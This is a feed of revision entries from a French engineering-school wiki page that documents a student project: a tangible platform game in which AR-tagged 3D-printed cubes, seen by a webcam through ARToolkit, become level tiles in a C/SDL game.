Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Level.png&amp;diff=28683</id>
		<title>Fichier:Level.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Level.png&amp;diff=28683"/>
				<updated>2016-03-12T11:03:14Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : Création level à partir d'un fichier texte&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Création level à partir d'un fichier texte&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=27966</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=27966"/>
				<updated>2016-03-02T13:05:36Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
===Déroulement des séances===&lt;br /&gt;
====Semaine 1====&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
====Semaine 2====&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
=====Partie Artoolkit===== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
=====Partie Jeu=====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
====Semaine 3====&lt;br /&gt;
=====Partie Artoolkit=====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 5 ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : (mettre photo).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====Partie Jeu=====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est enfaite un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité te de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=27952</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=27952"/>
				<updated>2016-03-02T12:45:47Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Semaine 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
===Déroulement des séances===&lt;br /&gt;
====Semaine 1====&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
====Semaine 2====&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
=====Partie Artoolkit===== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
=====Partie Jeu=====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
====Semaine 3====&lt;br /&gt;
=====Partie Artoolkit=====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 5 ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : (mettre photo).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====Partie Jeu=====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=26964</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=26964"/>
				<updated>2016-02-10T19:35:15Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
===Déroulement des séances===&lt;br /&gt;
====Semaine 1====&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
====Semaine 2====&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
=====Partie Artoolkit===== &lt;br /&gt;
